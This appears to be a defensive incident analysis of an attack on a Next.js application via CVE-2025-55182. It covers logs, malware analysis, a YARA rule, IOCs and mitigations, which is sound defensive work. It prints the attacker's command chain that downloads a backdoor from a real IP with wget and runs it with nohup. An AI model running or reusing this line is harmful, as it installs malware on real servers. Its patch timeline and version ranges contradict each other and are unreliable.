CVE-2025-55182 Attack Analysis: React Server Components RCE
Real-world attack analysis on a production Next.js application
📋 Table of Contents
Executive Summary
On December 5, 2025, our production Next.js application was targeted by attackers exploiting CVE-2025-55182 (React2Shell), a critical Remote Code Execution vulnerability in React Server Components. The attack attempted to download and execute a Linux backdoor trojan on our server.
| Attribute | Value |
|---|
| CVE ID | CVE-2025-55182 |
| CVSS Score | 9.8 (Critical) |
| Attack Date | December 5, 2025 |
| Attack Outcome | ✅ Blocked (post-patch) |
| Malware Type | Linux Backdoor Trojan |
| Affected Stack | Next.js + React Server Components |
Vulnerability Overview
What is CVE-2025-55182?
CVE-2025-55182, also known as "React2Shell", is a critical Remote Code Execution (RCE) vulnerability affecting React Server Components (RSC) in:
- React: versions 19.0.0 - 19.2.1
- Next.js: versions 15.x and 16.x (before patches)
Root Cause
The vulnerability exists in the renderToReadableStream() function within React's Flight Server. When processing specially crafted RSC payloads, the server fails to properly sanitize certain input, leading to arbitrary code execution.
Attack Vector
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE
The attacker sends a crafted POST request with a malicious serialized payload that gets deserialized and executed on the server.
Attack Timeline
Phase 1: Initial Exploitation Attempts (Pre-Patch)
| Timestamp (UTC) | Event |
|---|
| Dec 5, 06:20 | First attack detected via Sentry |
| Dec 5, 06:20 | Payload attempts to execute shell commands |
| Dec 5, 06:20 | Attack partially successful (pre-patch) |
Sentry Error Log (Pre-Patch):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
Phase 2: Patch Deployment
| Timestamp | Action |
|---|
| Dec 4, 14:13 | Upgraded to Next.js 16.0.7 |
| Dec 4, 14:13 | Deployed patched version (v1.0.0-beta-4) |
Phase 3: Post-Patch Attack Blocked
| Timestamp (UTC) | Event |
|---|
| Dec 5, 08:48 | Attack attempt detected |
| Dec 5, 08:48 | Payload execution BLOCKED |
| Dec 5, 08:48 | Error: syntax error: unexpected ";" |
Sentry Error Log (Post-Patch):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
The patch successfully prevented the malicious command from executing.
Technical Analysis
Attack Request Details
| Attribute | Value |
|---|
| Target URL | https://[REDACTED]/ |
Payload Analysis
The attacker attempted to execute the following command chain:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
Breakdown:
Server Environment
| Component | Version |
|---|
| OS | Alpine Linux 3.23.0 |
| Runtime | Node.js v20.19.6 |
| Framework | Next.js 16.0.7 (patched) |
Malware Analysis
VirusTotal Results
Detection Rate: 13/72 (18%)
VirusTotal Link: View Analysis
Binary Analysis
ELF Header:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
Identified Capabilities:
Extracted Strings (Relevant):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
IDS Rules Triggered
| Severity | Rule | Source |
|---|
| LOW | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| LOW | ET DNS Query for .cc TLD | Proofpoint ET Open |
Malware Classification
Type: Linux Backdoor Trojan
Capabilities:
- Remote shell access
- Command & Control (C2) communication
- File upload/download
- Encrypted communications
- Traffic tunneling via SOCKS5
- Persistence mechanisms
Indicators of Compromise (IOCs)
Network IOCs
File IOCs
Behavioral IOCs
YARA Rule
rule CVE_2025_55182_Backdoor {
meta:
description = "Detects backdoor distributed via CVE-2025-55182"
author = "Security Researcher"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
Mitigation & Response
Abuse Report
An abuse report was submitted to Vultr (the hosting provider of the C2 server) on December 5, 2025 containing:
- Malicious IP address and URL
- SHA256 hash of malware
- VirusTotal analysis link
- Description of attack vector (CVE-2025-55182)
Patched Versions
| Package | Vulnerable | Patched |
|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1 (June 2025+) |
Recommended Mitigations
1. Upgrade immediately:
2. Block malicious IP:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. Monitor for IOCs:
# Check for suspicious files
find /tmp -type f -executable 2>/dev/null
# Check for suspicious processes
ps aux | grep -E "(vim|/tmp/)"
# Check network connections
netstat -an | grep "45.76.155.14"
4. Rotate all secrets:
- Database credentials
- JWT secrets
- API keys
- Session secrets
Lessons Learned
What Went Well
- Sentry monitoring caught the attack immediately
- Quick patch deployment within hours of CVE disclosure
- Docker containerization limited blast radius
- Post-patch protection successfully blocked subsequent attacks
What Could Be Improved
- Faster patching - Reduce time between CVE disclosure and patch
- WAF rules - Add rules to detect RSC exploitation attempts
- Egress filtering - Block outbound connections to unknown IPs
- Automated alerts - Set up alerts for suspicious shell commands
Security Recommendations
References
Official Advisories
Analysis Resources
Disclaimer
This write-up is published for educational and defensive purposes only. The malware binary is not included in this repository. Security researchers can obtain the sample via VirusTotal using the SHA256 hash provided.
Author
Published: December 5, 2025
Contact: [Your contact info or GitHub profile]
License
This analysis is released under CC BY 4.0. You are free to share and adapt this material with appropriate attribution.
Changelog
| Date | Version | Changes |
|---|
| 2025-12-05 | 1.0 | Initial publication |